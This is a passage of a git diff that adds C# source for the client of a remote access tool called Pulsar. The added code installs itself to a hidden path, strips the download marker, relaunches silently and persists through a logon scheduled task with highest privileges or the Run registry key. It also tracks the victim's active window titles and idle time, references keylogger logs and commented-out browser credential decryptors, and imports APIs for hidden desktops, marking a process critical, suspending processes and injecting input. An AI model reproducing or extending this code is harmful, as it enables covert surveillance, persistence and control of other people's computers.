Client.RemoveProxyClient(this.ConnectionId); + } + + public void SendToTargetServer(byte[] data) + { + if (_disposed) + return; + + try + { + Handle.Send(data); + } + catch { Disconnect(); } + } + } +} diff --git a/Pulsar.Client/Setup/ClientInstaller.cs b/Pulsar.Client/Setup/ClientInstaller.cs new file mode 100644 index 0000000..a69628e --- /dev/null +++ b/Pulsar.Client/Setup/ClientInstaller.cs @@ -0,0 +1,120 @@ +using Pulsar.Client.Config; +using Pulsar.Client.Extensions; +using Pulsar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client.Setup +{ + public class ClientInstaller : ClientSetupBase + { + public void ApplySettings() + { + string clientPath; + try + { + clientPath = Application.ExecutablePath; + } + catch + { + clientPath = null; + } + + + if (Settings.STARTUP && clientPath != null) + { + var clientStartup = new ClientStartup(); + if (Settings.INSTALL) + { + clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY); + } + else + { + clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY); + } + + if (Settings.INSTALL && Settings.HIDEFILE) + { + try + { + File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + + if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) + { + try + { + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); + di.Attributes |= FileAttributes.Hidden; + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + } + } + + public void Install() + { + // create target dir + if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + { + Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + } + + // delete existing file + if (File.Exists(Settings.INSTALLPATH)) + { + try + { + File.Delete(Settings.INSTALLPATH); + } + catch (Exception ex) + { + if (ex is IOException || ex is UnauthorizedAccessException) + { + // kill old process running at destination path + Process[] foundProcesses = + Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH)); + int myPid = Process.GetCurrentProcess().Id; + foreach (var prc in foundProcesses) + { + // dont kill own process + if (prc.Id == myPid) continue; + // only kill the process at the destination path + if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue; + prc.Kill(); + Thread.Sleep(2000); + break; + } + } + } + } + + File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); + + ApplySettings(); + + FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH); + + //start file + var startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = false, + FileName = Settings.INSTALLPATH + }; + Process.Start(startInfo); + } + } +} diff --git a/Pulsar.Client/Setup/ClientSetupBase.cs b/Pulsar.Client/Setup/ClientSetupBase.cs new file mode 100644 index 0000000..0f77fb4 --- /dev/null +++ b/Pulsar.Client/Setup/ClientSetupBase.cs @@ -0,0 +1,14 @@ +using Pulsar.Client.User; + +namespace Pulsar.Client.Setup +{ + public abstract class ClientSetupBase + { + protected UserAccount UserAccount; + + protected ClientSetupBase() + { + UserAccount = new UserAccount(); + } + } +} diff --git a/Pulsar.Client/Setup/ClientStartup.cs b/Pulsar.Client/Setup/ClientStartup.cs new file mode 100644 index 0000000..8676807 --- /dev/null +++ b/Pulsar.Client/Setup/ClientStartup.cs @@ -0,0 +1,80 @@ +using Microsoft.Win32; +using Pulsar.Client.Helper; +using Pulsar.Common.Enums; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Pulsar.Client.Setup +{ + public class ClientStartup : ClientSetupBase + { + public void AddToStartup(string executablePath, string startupName) + { + if (SystemInformation.PowerStatus.BatteryChargeStatus == BatteryChargeStatus.NoSystemBattery) + { + + + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + + "\" /rl HIGHEST /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + + + } + + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + + } + else + { + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + } + + + } + + public void RemoveFromStartup(string startupName) + { + + + if (SystemInformation.PowerStatus.BatteryChargeStatus == BatteryChargeStatus.NoSystemBattery) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/delete /tn \"" + startupName + "\" /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + else + { + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + + } + } +} diff --git a/Pulsar.Client/Setup/ClientUninstaller.cs b/Pulsar.Client/Setup/ClientUninstaller.cs new file mode 100644 index 0000000..0584981 --- /dev/null +++ b/Pulsar.Client/Setup/ClientUninstaller.cs @@ -0,0 +1,52 @@ +using Pulsar.Client.Config; +using Pulsar.Client.IO; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Windows.Forms; + +namespace Pulsar.Client.Setup +{ + public class ClientUninstaller : ClientSetupBase + { + public void Uninstall() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + + if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH)) + { + // this must match the keylogger log files + Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$"); + + foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly) + .Where(path => reg.IsMatch(Path.GetFileName(path))).ToList()) + { + try + { + File.Delete(logFile); + } + catch (Exception) + { + // no important exception + } + } + } + + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + } +} diff --git a/Pulsar.Client/Setup/ClientUpdater.cs b/Pulsar.Client/Setup/ClientUpdater.cs new file mode 100644 index 0000000..065cc8c --- /dev/null +++ b/Pulsar.Client/Setup/ClientUpdater.cs @@ -0,0 +1,38 @@ +using Pulsar.Client.Config; +using Pulsar.Client.IO; +using Pulsar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Pulsar.Client.Setup +{ + public class ClientUpdater : ClientSetupBase + { + public void Update(string newFilePath) + { + FileHelper.DeleteZoneIdentifier(newFilePath); + + var bytes = File.ReadAllBytes(newFilePath); + if (!FileHelper.HasExecutableIdentifier(bytes)) + throw new Exception("No executable file."); + + string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + } + } +} diff --git a/Pulsar.Client/UniversalDebugAPI/Logger.cs b/Pulsar.Client/UniversalDebugAPI/Logger.cs new file mode 100644 index 0000000..28e93a1 Binary files /dev/null and b/Pulsar.Client/UniversalDebugAPI/Logger.cs differ diff --git a/Pulsar.Client/User/.DS_Store b/Pulsar.Client/User/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/User/.DS_Store differ diff --git a/Pulsar.Client/User/ActiveWindowChecker.cs b/Pulsar.Client/User/ActiveWindowChecker.cs new file mode 100644 index 0000000..1d55fc7 --- /dev/null +++ b/Pulsar.Client/User/ActiveWindowChecker.cs @@ -0,0 +1,97 @@ +using System; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using Pulsar.Client.Networking; +using Pulsar.Common.Messages; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.User +{ + //changed it so its not longer that trash thing u did where it checks every 5 secds + // now it sends new window titled whenever a focus is chagned + public class ActiveWindowChecker : IDisposable + { + private readonly PulsarClient _client; + private readonly CancellationTokenSource _tokenSource; + private readonly CancellationToken _token; + + private delegate void WinEventDelegate(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime); + + [DllImport("user32.dll")] + private static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax, IntPtr hmodWinEventProc, WinEventDelegate lpfnWinEventProc, uint idProcess, uint idThread, uint dwFlags); + + [DllImport("user32.dll")] + private static extern bool UnhookWinEvent(IntPtr hWinEventHook); + + [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] + private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("user32.dll")] + private static extern IntPtr GetForegroundWindow(); + + private const uint WINEVENT_OUTOFCONTEXT = 0; + private const uint EVENT_SYSTEM_FOREGROUND = 0x0003; + + private IntPtr _hookId; + private readonly WinEventDelegate _winEventDelegate; + + public ActiveWindowChecker(PulsarClient client) + { + _client = client; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + + _winEventDelegate = new WinEventDelegate(WinEventProc); + _hookId = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, _winEventDelegate, 0, 0, WINEVENT_OUTOFCONTEXT); + + if (_hookId == IntPtr.Zero) + { + + } + } + + private void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) + { + if (eventType == EVENT_SYSTEM_FOREGROUND) + { + string currentWindowTitle = GetCurrentWindowTitle(); + _client.Send(new SetUserActiveWindowStatus { WindowTitle = currentWindowTitle }); + } + } + + private string GetCurrentWindowTitle() + { + const int nChars = 256; + StringBuilder buff = new StringBuilder(nChars); + IntPtr handle = GetForegroundWindow(); + + if (GetWindowText(handle, buff, nChars) > 0) + { + return buff.ToString(); + } + return null; + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _tokenSource.Cancel(); + _tokenSource.Dispose(); + + if (_hookId != IntPtr.Zero) + { + UnhookWinEvent(_hookId); + _hookId = IntPtr.Zero; + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/User/ActivityDetection.cs b/Pulsar.Client/User/ActivityDetection.cs new file mode 100644 index 0000000..1c284e1 --- /dev/null +++ b/Pulsar.Client/User/ActivityDetection.cs @@ -0,0 +1,133 @@ +using Pulsar.Client.Helper; +using Pulsar.Client.Networking; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using System; +using System.Threading; + +namespace Pulsar.Client.User +{ + /// + /// Provides user activity detection and sends messages on change. + /// + public class ActivityDetection : IDisposable + { + /// + /// Stores the last user status to detect changes. + /// + private UserStatus _lastUserStatus; + + /// + /// The client to use for communication with the server. + /// + private readonly PulsarClient _client; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of using the given client. + /// + /// The name of the mutex. + public ActivityDetection(PulsarClient client) + { + _client = client; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + client.ClientState += OnClientStateChange; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + // reset user status + if (connected) + _lastUserStatus = UserStatus.Active; + } + + /// + /// Starts the user activity detection. + /// + public void Start() + { + new Thread(UserActivityThread).Start(); + } + + /// + /// Checks for user activity changes sends to the on change. + /// + private void UserActivityThread() + { + try + { + if (IsUserIdle()) + { + if (_lastUserStatus != UserStatus.Idle) + { + _lastUserStatus = UserStatus.Idle; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + else + { + if (_lastUserStatus != UserStatus.Active) + { + _lastUserStatus = UserStatus.Active; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + } + } + + /// + /// Determines whether the user is idle if the last user input was more than 10 minutes ago. + /// + /// True if the user is idle, else false. + private bool IsUserIdle() + { + var ticks = Environment.TickCount; + + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + + idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); + + return (idleTime > 600); // idle for 10 minutes + } + + public static string UserIdleTime() + { + var ticks = Environment.TickCount; + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); + return TimeSpan.FromSeconds(idleTime).ToString(@"hh\:mm\:ss"); + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/User/UserAccount.cs b/Pulsar.Client/User/UserAccount.cs new file mode 100644 index 0000000..aada1ae --- /dev/null +++ b/Pulsar.Client/User/UserAccount.cs @@ -0,0 +1,39 @@ +using Pulsar.Common.Enums; +using System; +using System.Security.Principal; + +namespace Pulsar.Client.User +{ + public class UserAccount + { + public string UserName { get; } + + public AccountType Type { get; } + + public UserAccount() + { + UserName = Environment.UserName; + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + WindowsPrincipal principal = new WindowsPrincipal(identity); + + if (principal.IsInRole(WindowsBuiltInRole.Administrator)) + { + Type = AccountType.Admin; + } + else if (principal.IsInRole(WindowsBuiltInRole.User)) + { + Type = AccountType.User; + } + else if (principal.IsInRole(WindowsBuiltInRole.Guest)) + { + Type = AccountType.Guest; + } + else + { + Type = AccountType.Unknown; + } + } + } + } +} diff --git a/Pulsar.Client/Utilities/.DS_Store b/Pulsar.Client/Utilities/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/Utilities/.DS_Store differ diff --git a/Pulsar.Client/Utilities/DebugLog.cs b/Pulsar.Client/Utilities/DebugLog.cs new file mode 100644 index 0000000..01f5d85 --- /dev/null +++ b/Pulsar.Client/Utilities/DebugLog.cs @@ -0,0 +1,232 @@ +using Pulsar.Client.LoggingAPI; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Runtime.ExceptionServices; +using System.Security.Cryptography; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Windows.Automation; + +namespace Pulsar.Client.User +{ + internal class DebugLog : IDisposable + { + private readonly HashSet _ignoredExceptionTypes; + private readonly HashSet _ignoredClasses; + + public DebugLog() + { + _ignoredExceptionTypes = new HashSet + { + typeof(CryptographicException), + typeof(IOException), + typeof(UnauthorizedAccessException), + //typeof(FormatException) + }; + + _ignoredClasses = new HashSet + { + //typeof(Pulsar.Client.Kematian.HelpingMethods.Decryption.ChromiumDecryptor), + //typeof(Pulsar.Client.Kematian.HelpingMethods.Decryption.ChromiumV127Decryptor) + }; + + AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; + Application.ThreadException += Application_ThreadException; + TaskScheduler.UnobservedTaskException += TaskScheduler_UnobservedTaskException; + AppDomain.CurrentDomain.FirstChanceException += FirstChanceExcpetion_Handler; + } + + private void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.ExceptionObject is Exception ex) + { + if (ShouldIgnoreException(ex)) + { + return; + } + + LogException(ex); + UniversalDebugLogger.SendLogToServer(ex.ToString()); + } + } + + private void Application_ThreadException(object sender, ThreadExceptionEventArgs e) + { + if (ShouldIgnoreException(e.Exception)) + { + return; + } + + LogException(e.Exception); + UniversalDebugLogger.SendLogToServer(e.Exception.ToString()); + } + + private void TaskScheduler_UnobservedTaskException(object sender, UnobservedTaskExceptionEventArgs e) + { + if (ShouldIgnoreException(e.Exception)) + { + return; + } + + LogException(e.Exception); + UniversalDebugLogger.SendLogToServer(e.Exception.ToString()); + } + + private void FirstChanceExcpetion_Handler(object sender, FirstChanceExceptionEventArgs e) + { + if (_ignoredExceptionTypes.Contains(e.Exception.GetType())) + { + return; + } + + // see if its class is ignored + if (ShouldIgnoreException(e.Exception)) + { + return; + } + + LogException(e.Exception); + UniversalDebugLogger.SendLogToServer(e.Exception.ToString()); + } + + private bool ShouldIgnoreException(Exception ex) + { + // check against ignored classes + var declaringType = ex.TargetSite?.DeclaringType; + if (declaringType != null && _ignoredClasses.Contains(declaringType)) + { + return true; + } + + if (IsUiAutomationException(ex)) + { + return true; + } + + if (ex is ApplicationException && + ex.Message.Contains("No devices of the category") && + ex.StackTrace?.Contains("AForge.Video.DirectShow.FilterInfoCollection.CollectFilters") == true) + { + return true; + } + + if (IsBlacklistedMessage(ex.Message) || IsBlacklistedMessage(ex.ToString())) + { + return true; + } + + return false; + } + + private bool IsUiAutomationException(Exception ex) + { + if (ex == null) + { + return false; + } + + if (ex is ElementNotAvailableException || + ex is ElementNotEnabledException || + ex is NoClickablePointException) + { + return true; + } + + if (ex is InvalidOperationException && + (ex.Source?.IndexOf("UIAutomation", StringComparison.OrdinalIgnoreCase) >= 0 || + ex.StackTrace?.IndexOf("MS.Internal.Automation", StringComparison.OrdinalIgnoreCase) >= 0)) + { + return true; + } + + var exceptionText = ex.ToString(); + + if (string.IsNullOrEmpty(exceptionText)) + { + return false; + } + + if (exceptionText.Contains("MS.Internal.Automation") || + exceptionText.Contains("System.Windows.Automation") || + exceptionText.Contains("UIAutomationClient") || + exceptionText.Contains("AutomationProxies")) + { + return true; + } + + if (exceptionText.IndexOf("L'op\u00E9ration n'est pas valide en raison de l'\u00E9tat actuel de l'objet", StringComparison.OrdinalIgnoreCase) >= 0) + { + return true; + } + + if (exceptionText.IndexOf("The target element corresponds to a user interface that is no longer available", StringComparison.OrdinalIgnoreCase) >= 0) + { + return true; + } + + return false; + } + + private bool IsBlacklistedMessage(string message) + { + if (string.IsNullOrEmpty(message)) + return false; + + if (UniversalDebugLogger.IsUiAutomationLog(message)) + { + return true; + } + + var blacklistedPatterns = new[] + { + "HRESULT: [0x887A0027]", + "DXGI_ERROR_WAIT_TIMEOUT", + "WaitTimeout", + "The timeout value has elapsed and the resource is not yet available", + "SharpDX.SharpDXException", + "SharpDX.DXGI", + "SharpDX.Result.CheckError()", + "Waiting for frame requests. Buffer size:", + "Received packet: GetDesktop", + "Capture FPS:", + "Buffer size:", + "Pending requests:", + "Value does not fall within the expected range.", + "Accessibility.IAccessible.get_accChild", + "0x800401D0" + }; + + foreach (var pattern in blacklistedPatterns) + { + if (message.Contains(pattern)) + { + return true; + } + } + + return false; + } + + private void LogException(Exception ex) + { + Debug.WriteLine($"Exception: {ex.Message}\nStack Trace: {ex.StackTrace}"); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + // Dispose managed resources here + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Utilities/NativeMethods.cs b/Pulsar.Client/Utilities/NativeMethods.cs new file mode 100644 index 0000000..605d0d9 --- /dev/null +++ b/Pulsar.Client/Utilities/NativeMethods.cs @@ -0,0 +1,239 @@ +using System; +using System.Net; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Utilities +{ + /// + /// Provides access to the Win32 API. + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential)] + internal struct LASTINPUTINFO + { + public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO)); + [MarshalAs(UnmanagedType.U4)] public UInt32 cbSize; + [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; + } + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern int NtResumeProcess(IntPtr processHandle); + [DllImport("user32.dll")] + internal static extern bool SetForegroundWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern bool IsIconic(IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); + + [DllImport("user32.dll")] + internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); + + [DllImport("user32.dll")] + internal static extern bool SetCursorPos(int x, int y); + + [DllImport("user32.dll", SetLastError = false)] + internal static extern IntPtr GetMessageExtraInfo(); + + [DllImport("user32.dll", SetLastError = true)] + internal static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + + internal const int STARTF_USEPOSITION = 0x00000004; + internal const int STARTF_USESHOWWINDOW = 0x00000001; + + + /// + /// Synthesizes keystrokes, mouse motions, and button clicks. + /// + [DllImport("user32.dll")] + internal static extern uint SendInput(uint nInputs, + [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, + int cbSize); + + [StructLayout(LayoutKind.Sequential)] + internal struct INPUT + { + internal uint type; + internal InputUnion u; + internal static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + internal struct InputUnion + { + [FieldOffset(0)] + internal MOUSEINPUT mi; + [FieldOffset(0)] + internal KEYBDINPUT ki; + [FieldOffset(0)] + internal HARDWAREINPUT hi; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MOUSEINPUT + { + internal int dx; + internal int dy; + internal int mouseData; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct KEYBDINPUT + { + internal ushort wVk; + internal ushort wScan; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct HARDWAREINPUT + { + public uint uMsg; + public ushort wParamL; + public ushort wParamH; + } + + [DllImport("user32.dll")] + internal static extern bool SystemParametersInfo( + uint uAction, uint uParam, ref IntPtr lpvParam, + uint flags); + + [DllImport("user32.dll")] + internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr OpenDesktop( + string hDesktop, int flags, bool inherit, + uint desiredAccess); + + [DllImport("user32.dll")] + internal static extern bool CloseDesktop( + IntPtr hDesktop); + + internal delegate bool EnumDesktopWindowsProc( + IntPtr hDesktop, IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool EnumDesktopWindows( + IntPtr hDesktop, EnumDesktopWindowsProc callback, + IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool IsWindowVisible( + IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3); + + [DllImport("iphlpapi.dll", SetLastError = true)] + internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, + TcpTableClass tblClass, uint reserved = 0); + + [DllImport("iphlpapi.dll")] + internal static extern int SetTcpEntry(IntPtr pTcprow); + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcprowOwnerPid + { + public uint state; + public uint localAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort; + public uint remoteAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; + public uint owningPid; + public IPAddress LocalAddress + { + get { return new IPAddress(localAddr); } + } + + public ushort LocalPort + { + get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); } + } + + public IPAddress RemoteAddress + { + get { return new IPAddress(remoteAddr); } + } + + public ushort RemotePort + { + get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); } + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcptableOwnerPid + { + public uint dwNumEntries; + private readonly MibTcprowOwnerPid table; + } + + internal enum TcpTableClass + { + TcpTableBasicListener, + TcpTableBasicConnections, + TcpTableBasicAll, + TcpTableOwnerPidListener, + TcpTableOwnerPidConnections, + TcpTableOwnerPidAll, + TcpTableOwnerModuleListener, + TcpTableOwnerModuleConnections, + TcpTableOwnerModuleAll + } + + [Flags] + public enum MiniDumpType : uint + { + MiniDumpNormal = 0x00000000, + MiniDumpWithDataSegs = 0x00000001, + MiniDumpWithFullMemory = 0x00000002, + MiniDumpWithHandleData = 0x00000004, + MiniDumpFilterMemory = 0x00000008, + MiniDumpScanMemory = 0x00000010, + MiniDumpWithUnloadedModules = 0x00000020, + MiniDumpWithIndirectlyReferencedMemory = 0x00000040, + MiniDumpFilterModulePaths = 0x00000080, + MiniDumpWithProcessThreadData = 0x00000100, + MiniDumpWithPrivateReadWriteMemory = 0x00000200, + MiniDumpWithoutOptionalData = 0x00000400, + MiniDumpWithFullMemoryInfo = 0x00000800, + MiniDumpWithThreadInfo = 0x00001000, + MiniDumpWithCodeSegs = 0x00002000 + } + + [DllImport("DbgHelp.dll", SetLastError = true)] + internal static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, MiniDumpType DumpType, + IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); + + [DllImport("ntdll.dll")] + public static extern int NtSuspendProcess(IntPtr processHandle); + } +} diff --git a/Pulsar.Client/Utilities/ScreenOverlay.cs b/Pulsar.Client/Utilities/ScreenOverlay.cs new file mode 100644 index 0000000..577548c --- /dev/null +++ b/Pulsar.Client/Utilities/ScreenOverlay.cs @@ -0,0 +1,2549 @@ +using SharpDX; +using SharpDX.Direct3D; +using SharpDX.Direct3D11; +using SharpDX.DXGI; +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; +using System.Threading.Tasks; +using Buffer = SharpDX.Direct3D11.Buffer; +using Color = System.Drawing.Color; +using Device = SharpDX.Direct3D11.Device; +using Rectangle = System.Drawing.Rectangle; +using System.Drawing; +using System.Drawing.Imaging; +namespace Pulsar.Client.Utilities +{ + /// + /// This class provides functions for creating drawing overlays on the screen using Direct3D 11. + /// + /// Usage: + /// 1. Create an instance of ScreenOverlay + /// ScreenOverlay overlay = new ScreenOverlay(); + /// + /// 2. Draw points on the screen: + /// // Draw a point at coordinates (100, 100) with 5px width and red color on monitor 0 + /// overlay.Draw(100, 100, 200, 200, 5, Color.Red.ToArgb(), 0); + /// + /// // Each Draw call creates a new point without connecting lines + /// // This creates another point at the specified location + /// overlay.Draw(200, 200, 300, 150, 5, Color.Red.ToArgb(), 0); + /// + /// 3. Erase parts of the drawing: + /// // Erase area from (150, 150) to (250, 250) with 20px eraser on monitor 0 + /// overlay.DrawEraser(150, 150, 250, 250, 20, 0); + /// + /// 4. Clear all drawings on a monitor: + /// overlay.ClearDrawings(0); + /// + /// 5. Create, move, and rotate 3D cubes: + /// // Create a 3D cube with different colors for each face + /// overlay.Render3DCube(1, Color.Red.ToArgb(), Color.Blue.ToArgb(), Color.Green.ToArgb(), + /// Color.Yellow.ToArgb(), Color.Purple.ToArgb(), Color.Orange.ToArgb(), + /// 100, 100, 0, 50, 50); + /// + /// // Move the cube smoothly to a new position + /// overlay.Move3DCube(1, true, 200, 200, 0); + /// + /// // Rotate the cube (in radians) + /// overlay.Rotate3DCube(1, true, 0.5f, 1.0f, 0.25f); + /// + /// // Remove the cube when done + /// overlay.Remove3DCube(1); + /// + /// 6. Capture screen information: + /// // Get pixel color at specific coordinates + /// PixelData pixel = overlay.GetPixelCoords(100, 100); + /// + /// // Get a random pixel from the screen + /// PixelData randomPixel = overlay.GetRandomPixel(); + /// + /// // Capture a region of the screen + /// Bitmap screenshot = overlay.CaptureScreenRegion(50, 50, 200, 150); + /// + /// 7. Custom Rendering: + /// // Create and register custom shaders and objects that get rendered on the screen + /// // Implement ICustomShader and ICustomRenderable interfaces + /// // Then register them with the overlay: + /// overlay.RegisterCustomShader(myShader); + /// overlay.RegisterCustomRenderable(myRenderable); + /// + /// // Get DirectX device for more advanced operations + /// Device device = overlay.GetDeviceForMonitor(0); + /// + /// 8. Properly dispose when done: + /// overlay.Dispose(); + 